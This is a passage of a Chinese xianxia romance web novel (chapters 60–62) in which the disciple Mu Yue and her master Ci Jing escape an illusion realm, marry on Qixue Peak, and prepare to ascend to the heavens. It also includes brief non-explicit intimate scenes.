她思索时发现师尊睡得不太安稳,沐月伸手抚平师尊皱起的眉头,他究竟在担心什么呢。
外面有人别人,她似乎意识到事情的关键之处。
她是否是退缩了太多次,总是若即若离。
之前因为任务她深夜潜入师尊的房里对他作出那般之举,司命告知她任务对象错误,她开始远离师尊,随后又因为合欢香对师尊做出亲密举动,可在清醒后再次远离他。
在师尊的视角来看何其无辜,所以他是因此不安吗?即便她们已经结契。
或许她要告知师尊她是真心喜欢他,并不会退缩,才能让他安心地和她离开此地。
她看着熟睡的师尊,伸手轻轻碰了碰他纤长的睫毛。
*
辞镜醒来时头有些昏沉,他不太记得昨夜发生的事情,也忘了沐月问他的那些问题。
沐月已经滚到里侧,辞镜看了她半晌打算自己先起。
今日下雪了,地上已经堆了一层厚厚的雪,应当是从昨夜便开始下了。
辞镜煮了些参汤,沐月醒来就能喝。
沐月总是手脚发凉,不管怎么调理都只是缓解,但无法根治,畏寒的她不想起,即便已经睡醒了还是紧紧裹着暖和的被子。
估摸着时间辞镜进门,他提前在屋里烧了炭火,要比外面的暖和许多,但沐月还是不想起。
辞镜进门和将风雪关在门外,端着一碗参汤走到床边,“喝了吧,会暖和些。”
在这里的许多年沐月已经习惯了喝这样的参汤,就着师尊的手将这味道不错的香浓的参汤喝完,一碗喝完她肚子里都暖乎乎的。
虽然有灵力,但该怕冷还是怕冷,她也懒得动用灵力包裹自己将寒气隔绝在外。
沐月懒洋洋地靠在师尊怀里,任由他摆弄着穿衣裳,她披上厚厚的斗篷将自己牢牢裹在里面才敢踏出房门,这是第一场雪,她站在屋檐下和师尊一起看着被积雪覆盖的青松,周围一片寂静,偶尔能吹过一阵风声。
伸出手接过随风飘来的雪花,又过了一年了。
这是她们在此地的第十年。
她侧头看向身旁的师尊,垫脚拉下他的大氅在他的唇上亲了一口。
看出师尊身体微顿,沐月又效仿刚刚继续在他唇上亲了下,不止如此,她还在他的下巴处也亲了亲。
“师尊,我思来想去想和你说些话。”
辞镜不知沐月想说什么,认真看着她等着她开口。
“你还记得将我带回戚雪峰那日吗?”沐月看向屋外的漫天飞雪,想起自己第一次遇见师尊的时候。
他还是如今日这般模样,没有丝毫变化,便是身上的白衣也像极了那日。
“记得。”辞镜看着沐月的面庞,曾经瘦小的小姑娘现如今已经亭亭玉立,往日的岁月依旧清晰。
“那时候你突然出现在面前,就像我无法触及的神明,我敬你爱你,却无法肖想你。”
“你将我救出泥沼,我无法忘恩负义将你拉入深谭,被世人诋毁唾弃。”
“但有些事都超出了我们的预料。”因为突然觉醒的记忆,司命给她的任务。
“是你将我从大雪中带回戚雪峰养育长大,也是你让我不再自卑懦弱曲意逢迎,能够拥有足够的底气去争取自己想要的一切,谁都没有师尊你来得重要。”
“即便我们没有结果,
还是如寻常师徒那般,我也不会和别人在一起,比起那些虚无缥缈的爱情,与师尊你十多年的感情已经超过了一切。”
“我只喜欢你一人,从始至终都是,只是之前碍于师徒身份没有早早明白自己的心意。”
沐月从未说起过这些,在漫天的飞雪之下,辞镜的双眸一直注视着眼前的女孩。
“我庆幸于那合欢香让我做出了正确的选择,才让我们之间有了可能。”若没有那合欢香,师尊或许会选择放下,而她也选择退缩逃避,日日艰难伪装那明面上的师徒关系。
“只是之前我畏惧世俗的目光选择了逃避,但是我以后都不会了,无论如何我都会师尊你一起面对,我从未喜欢过其他人,对大师兄也只是单纯的师兄妹之谊,虽亲近却无男女之情,但我对师尊你的不一样,所有人都没有你来得重要。”
“我原本还想着我们结契一事没有告知其他人,也没有在万剑宗举办结侣大典有些遗憾,但想想能和师尊你在一起就已经很好。”
“便是你不喜欢我,我也会待在你身边,就像寻常师徒那样,其实我也会担心师尊你对我的喜欢是否是心血来潮,是否是因为没有接触过其他姑娘,是否会厌倦,那时我们便连师徒也做不成了,所以我退缩忐忑害怕,但是现在我都不怕了。”
“所以师尊你也不要怕好吗?”沐月的嗓音像是冬日里暖乎乎的番薯,郑重地向师尊告白时更让人心底发软。
辞镜从未想过阿月也会有这样的顾虑。
对上女孩那双水光莹莹的清澈双眸,里面是他的倒影,只有他一人。
“师尊好不好?”沐月牵住师尊的手,眨着双眼静静看着他。
她看着师尊睫毛轻颤,好似阳光下被微风吹过的柳梢,温和宁静。
他说:“好。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 61 章【VIP】
第61章 第61章尘埃落定
日子平平淡淡过去,虽然师尊那日说了好,真心实意地听了她的话但还是未能从此地离开。
原本沐月以为找对了方向,但现在她又不确定了。
或许正如司命所说,天意如此,她还是顺其自然吧。
沐月将师尊从外面带回的腊梅放入花瓶,屋里萦绕着淡淡的香气,烦乱的心绪逐渐宁静。
“师尊,是不是很好看?”
沐月十分满意地欣赏自己插好的花,虽然这屋子称得上简陋,但在他们的修缮下极为温馨,和戚雪峰的无妄楼有些相似。
或许是在幻境里,这么多年她也没有收到灵犀的传讯,她发去也无回应,若外面与幻境里的时间流速是一致的,也不知灵犀是否结业,戚雪峰现在也不知成了什么模样。
还有这十年,大师兄修炼至何种境界了?沐月很好奇但无法知晓答案。
辞镜看出了沐月眼中的惆怅,“好看。”
“我也觉得好看。”沐月凑近细嗅几口,淡雅的香气扑面而来,花上还堆着晶莹剔透的冰雪,让这香气多了丝冷冽的味道。
辞镜看向屋外,雪已经停了,窗外银装素裹,湖面也结了冰,但出了太阳能够感受到些许阳光,虽算不上暖和,但也驱散了一些湿冷寒气。
“我去看看能否寻到离开此地的办法。”
沐月却摇头,“不用了师尊,现在出去也发现不了什么的。”
现在外面处处是积雪。
沐月深知她们不管再怎么找也无法找到出去的办法,只有师尊自己的心结破了才能破开完幻境。
“我想喝茶,师尊你煮些茶吧。”
“那阿月你先去坐着。”
沐月去师尊特意改过的木窗旁坐着,之前只是一叶小窗,不怎么瞧得见窗外的雪景,师尊便将这窗仿照无妄楼的模样将窗辟大了,她坐在窗边就能完整地看见窗外美丽的雪景。
不一会儿师尊将小火炉放在桌上,在火炉周围放上些年糕团还有橘子甘蔗,橘子甘蔗烤一会儿可以放进茶里煮,这些都是莲香村里有的东西,此地虽小但物产丰富,果树极多,还有一些在外极为罕见的灵植,若是可以沐月真想将其带出去,但她仔细想想她拿着也没有太大用处便作罢了。
香甜暖胃的茶水煮好,沐月捧着一杯小口慢慢喝着,不时和师尊说说话,一日就这么简单却又充实地过去了。
晚上,师徒二人温存过后,沐月精疲力闭上眼睛入睡。
辞镜从后抱着她埋头她的肩窝处,垂眸不知在想什么。
听见怀中之人平稳的呼吸声,他知晓沐月已经睡熟了。
“那日的话,是真的对吗。”
沐月动了动,嘟囔一声便又睡去。
沐月不知师尊的话,她做了个梦,梦见她们已经出了幻境回到万剑宗,还看见了灵犀储殷还有大师兄。
再次醒来下意识翻身想要继续睡,却如何也睡不着了,今日她也不知为何竟然没有赖床,沐月侧身看着还是睡着的师尊,今日她居然比师尊先醒。
看着眼前睡颜美好的师尊,沐月不知不觉看得出神。
或许是感知到沐月的视线,辞镜缓缓睁开双眸,沐月的小脸映入眼帘,辞镜也醒了,“今日怎么醒得这般早?”
“不知道,我醒了就睡不着了。”她昨晚睡得不算早,按理说会多睡会儿的才是。
“那你再躺一会儿,师尊先起。”
“我也起了吧。”沐月也坐起身,她不是很想继续睡下去了。
辞镜微微挑眉,显然诧异于今日反常的沐月。
“师尊你这么看着我做什么,之前我起得也不算晚啊。”沐月睁着眼睛说瞎话,她掀开被子也要起床,辞镜却将她按回被子里,“你坐着,我去拿衣裳。”
等穿戴整齐,沐月被师尊裹成一个球,只有头是露出来的,两人推开门却都顿在原地。
沐月以为自己眼花了。
“师尊,你有没有感觉这里变了?”
远处的茅屋呢?连绵的青山也不见了踪影。
今日地上虽也有积雪,却没有往日那般厚,只有浅浅一层。
“我们出去看看。”
沐月急切地想去看看究竟是怎么回事,走到一处长满青松的雪地,若她没记错这里原是张大娘家,房子呢?
继续往前,那零星分布的房屋瓦舍皆没了踪影,也不见曾经大大片的农田,沐月也没有听狗吠和和孩童的嬉闹声。
在她们走后,那间茅屋也随着他们的离去化为乌有。
她突然意识到什么。
“师尊,莫非我们出来了?”
她牵着师尊赶往十年前她们进来的那处崖壁,曾经没有任何缝隙之地,现如今又出现了之前她们进来此地的入口。
沐月现在还觉有些不真实,但现在还不能完全肯定,只有走出这个崖洞,回到云崖谷,才能证实她们确实离开了幻境。
辞镜看向难以置信被惊喜砸昏头的沐月,牵紧了她的手。
生怕哪洞口突然合上,沐月抬脚就往前走,但师尊却站在原地没动,沐月不解地看去。
辞镜回神,“走吧。”
两人走入洞口,直到走出数百步也没有消失。
直到走出这长长的崖洞,两人站在水声轰鸣的瀑布之后沐月悬起的心才落地。
“师尊我们快些出去。”
等回去后她好去询问司命师尊的妄心劫的进度。
按照之前的方式回到瀑布之外,沐月第一时间联系灵犀 ,这时候她才发现玉牌上弹出许多灵犀的消息,长达了十年的时间。
所以幻境的时间流速和外界是一致的。
与此同时,沐月曾经给灵犀发去的传讯也出现在灵犀的玉牌之上。
万里之外的她也和沐月一样惊讶于自己竟然一致未能收到发给彼此的传讯。
【你历练怎么这么久?】
【你还好吗?】
【你可是与仙尊在一起?】
【若是看到了快点回复我。】
一连串的传讯弹出,沐月立即将回复。
【灵犀我和师尊去看了小天星,出了点意外被困在幻境之中,此时才出幻境,我们很好,让你担心了。】
【你们没事就好,那你们何时回来?】灵犀得知沐月安然无恙终于放心。
【不出意外,三日之内就会回来。】
【那你们路上小心,回来我们再详谈,对了储殷已经出了思过崖大半月,你回来正好能看看他。】
【嗯好,我会尽快回来的。】
和灵犀联系上,沐月的心情松快,迫切想要见到她们,在幻境总归是假的,和师尊的一切也令她不踏实,但只要回到戚雪峰,一切都会尘埃落定。
激动之下她险些忽略了身旁的师尊,沐月还记得之前自己说过的话,她的心意永远都不会改变,更用力地握紧师尊的手,“师尊,等我们回去就成婚。”
“我们还未举办结侣大典,若是宗门其他人不乐意,那就邀请想要的人参加,灵犀她们自然是愿意的,谁想参加都都可以来,我们就在戚雪峰举办。”
辞镜听着她计划他们两人的婚事,心中的那丝不安随着沐月安抚的话渐渐消失。
两人踏上回万剑宗的路。
经过三日,飞舟飞过万剑宗的上空停留在戚雪峰。
弟子们都仰头看向飞舟,在万剑宗几乎无人不知此舟是仙尊所有,他现在是回来了吗?
沐月下山历练,随后也没了仙尊的音讯,弟子们都猜测两人是一同离开的,但令人没想到的是他们这一离开就是数十年。
这让人很难不去想师徒二人是否是碍于世俗的目光选择归隐,或者选择去往别的地方生活。
凡事都需要有比较,此前还在掌门面前激烈反对辞镜和沐月在一起的长老们却开始后悔,比起辞镜脱离万剑宗,他们宁愿两人在一起。
掌门收到辞镜和沐月归来的消息,连忙前去戚雪峰,才一落地,就看见并肩而立的师徒二人,掌门笑容微僵,踌躇片刻还是走上前。
竟然十年了两人也在一起,看样子并非一时兴起。
要说各大宗门之间偶尔会有师徒相恋的事情发生,但许多师徒并不长久,渐渐就分开了,掌门原以为辞镜和沐月或许也会如此,他便也没有要去干涉,如今来看倒是和他想的不太一样。
不过事到如今,这些事情已经不再重要,辞镜能回来就好。
而令他的惊讶的是,竟然在沐月身上感受到元婴镜大圆满的威压。
他略一迟疑,如此快速,莫非……
“阿月你先进屋。”辞镜道。
沐月看了眼掌门转身离开。
“师兄,这些年你可还好?”
本想问他去了哪里,为何这么多年未回,但话到嘴边及时换了。
“我过得很好。”
“这次回来应该就不离开了吧?”
“不知,要看阿月的打算。”
掌门心里嘀咕,阿月阿月,之前他早该发现的,回想以往种种分明有迹可循,他还只当辞镜对沐月是对弟子的宠爱。
“这次为何去了这么久?”掌门犹豫着还是问出口。
“偶遇幻境,才耽搁了。”
“原来如此。”掌门诧异,到了辞镜这个境界许多幻境形同虚设,在他面前就如无物,到底是怎样的幻境让他近十年才将其勘破。
掌门试探出了辞镜的意思,知晓他并未有脱离万剑宗成为散修的念头才放心离去。
也不算放心,他与沐月之间的事情掌门心里始终无法接受,只是迫于无奈才没有提及。
掌门离开后辞镜进门,踏入无妄楼竟觉恍然,这里毕竟是他与沐月生活了十来年的地方,她长大的点点滴滴都是在这里发生,到底是和莲香村是不一样的。
辞镜不能否认,他其实也怀念此地。
沐月的房门开着,辞镜缓缓走近,她换上了屋中未带走的衣裙,很是兴奋地把玩留在屋中的布偶。
回到这里,那在莲香村的十年像是一场梦。
这里有专们修筑的温泉,莲香村却是没有的,沐月想要去好好泡上一回,正好现在已经傍晚,她泡完睡上一觉,明日去见灵犀她们。
“师尊我想沐浴了,一会儿我想在这里睡。”她甚是怀念自己的卧房,今夜就不去师尊房里了。
“好。”
那他在这里睡下便是。
他自然地跟随沐月进入浴室,虽说在莲香村她们坦诚相见的次数已经数不清了,共浴也是常有的事,但在戚雪峰还是头一回。
辞镜抱着沐月靠坐在池壁,沐月低头去看,水面漂浮着她与师尊交缠的长发。
她轻轻眨了眨眼,睫毛上的水珠滚落。
转过身搂住师尊的脖子,安心地趴在他身上,“师尊,我们真的回来了,我感觉还有点不真实。”
“哪里不真实呢?”
“哪里都不真实,不过,师尊是真实的。”沐月能够感受到抱着之人的体温,肌理的触感,她喜欢这样毫无阻隔地感受师尊的身体,只是安安静静地抱着他,就好似拥有了一切。
她抬头,亲了亲师尊,才心满意足地从他怀里起身,但很快她的腰被师尊的双手禁锢,被轻轻按了回去。
沐月耳边只能听见水声,她化为一汪春水,眼中湿润。
“阿月。”辞镜用力拥着怀中女孩,“我们尽快举办结侣大典好么?”
“嗯。”沐月低声回应。
她们并不打算大办,在戚雪峰就好。
辞镜开始着手准备嫁衣,还有大典所需的一切东西,喜烛红绸,都由他亲手所办。
宗门内弟子也收到消息,得知两人要举办大典讶异但又好似理所应当,这十年大家好像已经接受了这个事实。
沐月去云落阁找大师兄,但发现他并未在屋里,随后才知他也外出历练了,见不到他沐月有些遗憾,不过她后面还有很多时间能见,她去山下寻找灵犀和储殷
思过崖没有灵气他无法修炼,储殷如今还是金丹初期的修为。
灵犀也突破至金丹期,但储殷如今是外门弟子,与灵犀不在一处上学。
此时正是正午时分下课不久,沐月在灵慧堂外等着灵犀。
一出门就瞧见沐月,灵犀也很惊喜,“你可算是回来了!”
这十年没有她和储殷,灵犀总觉得孤单,看着眼前的沐月竟觉鼻子发酸。
“短时间应该不会离开了吧?”灵犀连忙问。
“我也说不准,不过目前我是不打算离开的。”但计划赶不上变化,谁也不知情况会如何。
“你历练任务应该完成了?”灵犀想起此事,沐月或许领的是甲级任务,不然哪里需要这么久。
“没有,完不成就完不成吧。”那朵天心莲早已被她炼化,交不了差。
“也是,内门弟子结业后更丰厚的资源对你而言并无太大意义。”
“你要去看储殷吗?”
“他现在过得可还好?”沐月迟疑片刻问。
“没什么太大区别,只是相比以前话更少了,因为他原是内门弟子,去了外门必然会不适应,又因之前的事情,大家都在有意疏远他,他之前说想要离开万剑宗,应该就是这几日的事情。”
“是下山历练吗?”
“我也不知,应该是吧。”也不知是解除万剑宗弟子的身份还是只是想下山游离散心。
“如此也好。”
“我也是这么想的,但他一走,你若再走,我一个人也太孤单了。”
灵犀正说着,有人在几步开外喊了她一声。
沐月清楚地发现她神情不自然,脸色红了一片。
“你先回去吧,我还要一会儿。”灵犀对那男子道。
“那好,我先走了。”青年说完看了眼灵犀,转身离开。
沐月看向那气质出众的青年,若她记得不错,那是储殷的二师兄,她俩这是怎么回事?
“哎呀,之前储殷不是从思过崖出来了吗,我去找他,一来二去就和他二师兄熟悉了,但我们没有别的关系!”
“我又没误会,你解释什么。”
“不想和你说了,不是要去看储殷吗?我也不知他的课业安排,还是去碧落峰找他比较稳妥。”
“那我们刚才应该和那位师兄一起去的。”沐月突然道。
刚才那位男弟子是储殷的二师兄,自然也是住在碧落峰。
“别不好意思嘛,你能找到喜欢之人,我也很高兴啊。”沐月看向刚才那师兄离开的方向,此时早已没了人影。
“走啦走啦。”灵犀催促。
她们来到储殷院落外,正好看见他蹲在地上摸着一直黑漆漆的小猫。
灵犀看着那只猫有些恼怒,“他从思过崖带出来的,也不知思过崖怎么有这么只猫,看样子跟了他许多年,这只猫看人下菜,我想摸都不让摸一下,张牙舞爪的可凶了。”
储殷抬头看向两人,视线在沐月身上停留,能看出他身形的僵硬,但他还是抱着小黑猫走到两人身旁。
认真打量着眼前之人的沐月发现储殷褪去之前的那丝少年气,面庞更加锐利。
那只小黑猫抬着头好奇地看着她,随后喵喵了两声。
沐月发现她竟能听懂它在说什么。
“我能摸摸你吗?”
“喵喵。”
沐月眼前一亮,伸手想去摸储殷抱着的那只猫,他怕这煤团伤到沐月将它按进怀里,“它很凶。”
“没事,我想试试。”沐月试探地伸手摸摸它的头,还挠了两下,它都乖乖地被她搓扁揉圆。
一旁的灵犀心里不平衡,“为什么呀?它怎么就不让我碰!”好歹她还喂了它几次小鱼干呢,小白眼狼。
沐月心想或许她是妖吧,和这小猫比较亲近。
院子少有的热闹,三人说了会儿话,沐月又揉了两下这只小煤球,才和灵犀一起离开。
得知储殷心情还不错,并未因此心生挫败一蹶不振,她也放下了心。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 62 章【VIP】
第62章 第62章飞升
沐月和师尊大婚那日天气很好。
戚雪峰被阳光笼罩,虽一切从简,但还是来了许多人,沐月穿着嫁衣与一身喜服的师尊牵手跨出大门时,看见了红绸铺就道路两旁的熟悉身影。
灵犀储殷,还有师伯渡厄之,他身旁站着一个陌生的男子,辞镜轻声告知沐月此人正是百密阁赶来的闻人浔。
该来的人都已来了,唯独没有大师兄,沐月有些遗憾,但很快调整好心情,她看了眼身旁的师尊走向红绸的尽头,也是她们临时搭建的高台,由掌门为两人主持此次结侣大典,虽然并不隆重,但沐月很满足。
两人早已缔结契约,此时无需再进行此项步骤,两人听着掌门的祝婚词,放走了手中脚上绑着红线的飞鹤,看着它飞过戚雪峰的上空,随后又回到她们手中,喂它吃下一粒红豆解下它脚上的红线再次将它放飞。
仪式进行到一半,沐月看见远处出现的身影,她捏了捏师尊的手,辞镜也随着看过去,沈风吟的身影出现在人群中,他出现得并不张扬,静静看着台上的师徒二人。
仪式很快结束,并未设有酒宴,大家观礼后便依次有序地离开戚雪峰,但和师徒二人关系亲近之人并未立即离开。
灵犀储殷她们和沐月说话,闻人浔和渡厄之便在一旁和辞镜闲谈,聊了会儿大家也陆续离开。
戚雪峰只剩下沐月辞镜和沈风吟三人,又恢复了往日的宁静。
沈风吟走上前来,“师尊师妹我来迟了。”
“没有迟,大师兄你能回来我很开心,不过不回来也不碍事,你的历练要紧。”
沈风吟只是不想继续留在戚雪峰才选择下山游历,倒是没有太重要之事,收到沐月的传讯他便立即踏上回来的路,师尊和师妹成婚这么大的事情他也不能错过才是。
“这是礼物。”沈风吟手中出现一粒晶莹剔透的月白色的宝石。
沐月接过,发现此物竟然能变换颜色,而且还有磅礴的木灵气。
“多谢师兄。”沐月开开心心将其收好。
她和大师兄说话间突然想起身旁的师尊,看了他一眼,见他没有其他神情才放下心。
“大师兄,你这些年过得可还好?”沐月打量着眼前的青年,他还是和之前一样,不知修为到何种境界了。
“我过得很好,山下很热闹,我也去了不少地方,你与师尊呢?”
“我和师尊困在幻境里才出来,不然也不会迟迟不与你联系,不过过得还算不错,短时间应该不会再离开戚雪峰了。”
“如此就好。”
沈风吟看向沐月身旁的辞镜,“师尊,你和师妹有空可以来云落阁坐坐,弟子就先回去了。”
辞镜颔首,“好,你去吧。”
说完沈风吟也离开。
沐月看向身旁一身喜服的师尊,觉得新奇,毕竟她还是头一回见师尊穿这个颜色的衣裳,不过也很好看。
“师尊,现在我们成婚了。”
“嗯,我们成婚了。”
并非是只有她们自己知晓的结契,现在大家都知晓了她们的关系,现在的沐月无所畏惧。
她现在最为关心的是师尊的妄心劫,从幻境回来后她询问了司命,但得到的是和她意料之中的结果,师尊并未渡过妄心劫,但情况要比之前的好上许多,天河石上的裂痕在悄然愈合,或许再过个几年,或者十几年,师尊就能彻底渡过。
沐月现在大约知晓师尊的妄心劫的关键为何。
此事急不来,也不是她保证不会变心师尊就能彻底相信的,得靠行动证明。
喜烛徐徐燃烧,熏香的气味在房中萦绕,她沐浴后已经换下嫁衣身披红色的薄衫坐在梳妆镜前梳发,师尊却接过她手中的木梳,手指挽起一缕乌黑的长发认真梳顺。
沐月透过镜面看向挂满红绸换上喜被的婚床,她想起了之前自己初次趁师尊醉酒时对他以下犯上的记忆,若早知如此,当初她就该继续的,但也不知师尊是否会拒绝她。
辞镜也在看着沐月,红色的薄衫轻轻笼在她纤秾有度的身体上,肌肤胜雪,乌发吹落在胸前,辞镜低头看去,发现早在不知不觉间沐月已和多年前的她有了细微的区别。
今夜沐月抱着师尊轻声说着话,从天南说到海北,甚至说起了之后她们要去哪里游历,若是有机会的话,毕竟现如今一切都说不准,她不知何时就会离开,是否会在回到天界后与师尊形同陌路。
她现在只想好好珍惜现在的生活。
沐月说着生了困意,她正要入睡,师尊却低头吻了吻她的睫毛。
她突然想到今夜算是两人真正意义上的新婚之夜。
沐月主动去解师尊的衣襟,仰头回应他的吻。
喜烛燃烧得快要到底,屋内的朦胧的光影重叠。
“师尊还要多久?”沐月濡湿的睫毛颤动,神色恍惚失神,快要说不出话来,但还是紧紧搂着师尊的腰没有放开。
“阿月对不起,师尊会快些的。”
……
师尊也会撒谎,沐月现在一点也不相信他的话了,他说最后一次,永远都还有下一次,他说会快些,但还是久久不会结束。
沐月心情不大好,师尊想要给她涂药时,她更是将双腿并得紧紧的。
“对不起。”辞镜歉意地说,但一切的
解释都显得苍白无力。
沐月起床后一整日都没怎么理会师尊,他果真变了,也不知他从哪儿学来的。
当时她恨不立即将他推开,但奇怪的是,她现在竟然又开始回味,她在心里唾弃自己的不争气。
于是心情更不好了。
辞镜一连数日没有再碰沐月,只是规规矩矩地抱着她,便是身体反应再如此强烈他都没有半分逾矩的举动。
沐月警告自己要争气,可还是将魔爪伸向师尊。
所以说最后那样的结果都是她活该!
精疲力尽的沐月默默在心里流泪。
*
沐月每日的生活都没有太大区别,偶尔去找灵犀和储殷去逛逛街,有时去大师兄的云落阁找他喝茶习剑。
她某日经过灵犀提醒突然想起自己还买了个人放在神仙楼,也不知那个玉珩公子如何了。
心血来潮的她撑着下巴直勾勾地看向眼前的师尊。
辞镜被她看得有些迟疑。
“师尊,你还记得神仙楼吗?”
说起此地,辞镜想到了被沐月赎身的那个男子。
他神色看着十分正常,可细看还是能发现他被睫毛掩盖的眼中的情绪。
“为何说起此地?”
“突然想起来了,我想去一趟。”
闻言辞镜的情绪终于显露几分,之前还能够掩饰,现如今是半点也无法遮掩了。
沐月自然没错过师尊的变化。
“你不用担心啦,我不会做什么的,只是想要去看看那位玉珩公子。”
越说辞镜周身的冷意更甚。
“师尊你之前不是问我为何要买下那玉珩公子吗?其实我是因为你才为他赎身的。”
“我可没骗你,或许你没有注意,但我们都发现那玉珩公子和师尊你长得有三分相似,我可不愿意有些人将那玉珩公子当作您的替身肆意折辱。”
辞镜显然没有想到会听到这样的答案。
“我买他并非寻欢作乐,只是他像你罢了,我买下他后也没有对他做过什么的,只是想要去看看那妈妈是否当真兑现了承诺只让那玉珩公子卖艺,若她违背诺言,那我得把我的赎金讨些回来。”
这钱可不能白给。
“那些钱都是师尊你给我的,给出去我也可心疼了,得去看看才能放心,师尊你可要和我一起去?”
辞镜心中的郁气随着沐月的话消散一空,所以一切都是他自己多想了。
两人去了神仙楼,再见那玉珩公子,他只是普通人如今容貌已不及之前,但依旧算得上俊美,此时的他正在戏台上谈琴,并未有人冒犯他。
避开妈妈,沐月和师尊悄悄找到玉珩公子。
他显然没有预料到沐月会再次来找他,已经过了十年,眼前的两人容貌如初,但他的容貌却随着岁月流逝。
“二位前来找玉珩可是有事?”
“就是来问你妈妈是否兑现了诺言。”
“多谢姑娘挂心,妈妈并非苛待我,前来神仙楼的客人都知玉珩是姑娘您的人,并未遇到麻烦。”
沐月是仙门弟子,妈妈钱也拿到手了,自然不敢贸然让玉珩公子接客,赚钱事小,若是丢了性命可不值当,她可无法承受仙门弟子的怒火。
“如此就好。”
交代完,沐月和师尊才离开神仙楼,玉珩看着两人凭空消失的身影,转身离去。
回去路上沐月发现师尊并未怎么说话,她好奇看去,“师尊你在想什么?”
辞镜说出心中的疑问,“我并未发现我与此人有何相似之处。”
沐月却也没反驳,“可能是我之前昏头了,现在来看确实不大相似。”
“当真?”
“当真!”
经过此事,司命告知沐月天河石彻底恢复了原本的模样。
她心中一喜。
再等等,总有一日能够成功。
几日已过,戚雪峰下雪了,这里的雪和在莲香村的有些不同,莲香村是旷野农田交错,这里却是山湖磅礴之景,竹林覆盖了厚厚的雪,无妄楼也被积雪覆盖,门前的湖面结冰,师徒二人偶尔会凿个洞垂钓,但坐上一整日也没有鱼咬钩。
积雪渐渐消融,土地冒出新绿,桃树也抽出嫩芽,融融春日已至。
树叶越发茂密,遮天蔽日,竹叶在夏日的微燥的风中摇晃,爬满葡萄藤蔓的凉亭之下师徒二人吃着冰镇的灵果对弈。
一旁的银杏树从绿变为金黄,银杏树叶铺满厚厚一地,傍晚下了一场淅沥的秋雨,戚雪峰被秋意笼罩。
树叶随风消逝,初雪将其掩埋,等来年再次冒出新枝。
如此十年再次过去,沐月也从元婴境大圆满晋升至化神境,由此成了继沈风吟之后的第二个如此年轻的化神修士。
就在一个春光融融的午后,沐月坐在桃花树下小憩,却被司命的话惊醒,她皱皱眉睁开双眼。
司命的话缓慢在她耳边回放。
【你说什么?】
【我说你师尊妄心劫渡了。】
沐月不知作何反应,曾经盼星星盼月亮的事情终于完成,现在听着她却格外平静。
【那我们何时离开这里?】
【你可以让神尊主动选择飞升,回到天界后他直接与自己的本体融合。】
【那我岂不是也可以?】沐月灵光一闪。
【你飞升?你现在不过化神,离飞升还差十万八千里。】
【把增长百年修为的丹药还有天珠先给我。】沐月有了好主意。
司命知晓了她的打算。
【你这是投机取巧,是不可取之举。】还从未有过沐月这样的先例。
沐月便是现在服用也能壮大自己的魂体,或许还能直接飞升无需震碎自己心脉回到天界后重新修出本体,这岂不是最妥当的方式。
【总之你给我就是了,还是说你想赖账?】
【本君怎会是言而无信之人,只是你这是投机取巧。】
有机可投,有巧可取为何不用,等回去天界她的魂体还不知能否直接炼化那丹药和天珠,若再出了岔子她忘了这人界的记忆又该如何?司命不给她丹药和天珠也是不知的,不如现在服用更加稳妥。
【我想问问,我现在尚且是凡人之躯,服下这丹药可会无法容纳?】沐月谨慎地问。
【你的魂体若也是凡人那必然会爆体而亡,但你本就生在天界,并不会如此严重,况且这只是百年修为的丹药,并不会如此严重。】司命虽不赞同此种行为,但也并未撒谎将她劝退,如实告知了沐月。
【那就好。】沐月点点头。
【不过,既然大师兄可以在渡劫后留在人界,那我和师尊岂不是也可以?】
【你们不一样,你大师兄是距离飞升还有很长一段距离,但你师尊是强行违背天道规则压制修为,长此以往对他的魂体有害,如今妄心劫已渡,最好尽快回到天界。】
沐月明白如今师尊是不得不回。
她最终还是拿到了自己的报酬。
在此之前司命给了她根金色的根须,长得像极了树根。
【这是重塑经脉的仙草,若服下后你的身体疼痛难忍,可以将其嚼碎吞服。】
【司命你人还是挺好的嘛。】沐月开心接过,顺便真心实意地夸了司命一句。
【哼,那是自然。】
沐月看着玉瓶中金光闪闪布满丹纹的丹药和那和梦中灵珠并无区别的天珠,将其好生收下,她得找个合适的时机将其炼化。
不过在此之前她得探探师尊何时能够飞升,他之前都在有意压制修为,还将其渡给她,也不知境界是否有下降。
她出门走到师尊身旁坐下,“师尊,你现在若不继续压制修为,能够飞升吗?”
“为何问起此事?”
“我也想飞升,想和你师尊你一起,所以才问问你。”
沐月欲言又止,但现在师尊劫已经渡了,说出想必也没有大碍。
“我一直有件事没有告诉你。”
辞镜隐约知晓她要说什么,放下手中的书,认真听沐月说话。
“其实,你并非人界之人,下界只是为了历劫,我随你下来是为助你历劫,原本我是因为司命给我的承诺才选择答应,但下界重新投胎后我丧失在天界的一切记忆,并非是因为任务故意接近你,后来我才记起了一切,如今师尊的
劫已经渡了,我们需要尽快回到天界,司命给了我丹药,我若服下或许能够直接飞升,若不行,那师尊你先走一步,我随后就来。”
沐月原以为师尊会一时难以接受,但观他神色似乎对此早已知情神情格外平静。
“在天界,我们可认识?”辞镜轻声询问。
沐月思索片刻才回:“我认识你,但师尊你应当是不认识我的。”
月清宫莲池内的莲花数不数胜,师尊怎会注意到她这朵。
“若我们一起飞升不认识也没关系,若师尊你先走一步,那我去找你就是了,或者你去找司命星君,所以回去后我们还是能继续在一起。”
“若我们忘了彼此呢?”辞镜突然问。
沐月原本只想过师尊或许会忘了她,却没想过还有此种可能。
若只是一人忘了,她们还有可能,可若彼此都忘了,或许她们再无交集。
“不会的,我们有太多彼此的东西,况且我们结了契,是被月老绑上红线的,不会分开。”
“或者我们留下一些彼此之物,记忆能忘,但这些存在过的证明不会忘的,不是吗?”
“我们不能一直在这里吗?”辞镜紧紧抱住沐月,垂眸低声问。
“我们总是要回去的,而且你压制修为时间久了会被反噬,很多事情逃避并不能解决问题,师尊你说对不对?”
“或许我们担心的情况并不会发生,甚至还可能越变越好呢?”
辞镜没有回答。
沐月也担心,但经过这么多年她逐渐明白担心顾虑没有任何用处,唯有直面问题才能解决问题,不然事情只会陷入永无止境的漩涡,与其整日担心不如早早将事情解决,究竟如何要做了才知晓。
等待良久,沐月终于听见师尊说了声好。
“阿月,那你先服用丹药好么,若我们无法一起飞升,那你先回去。”
“可我也不确定这丹药的作用是否如此显著。”
“那师尊等着你。”
沐月知晓自己轻易劝不动师尊,便没有再说,“那我现在就回房服下试试。”
天珠她不打算立即动用,毕竟想要炼化此物或许并不容易,若这丹药服下后不能助她直接飞升,那她再动用天珠。
“我们一起。”辞镜和沐月一同走进房中。
为了以防万一辞镜提前在无妄楼加固几层法阵,沐月取出那枚丹药时他提前接过检查。
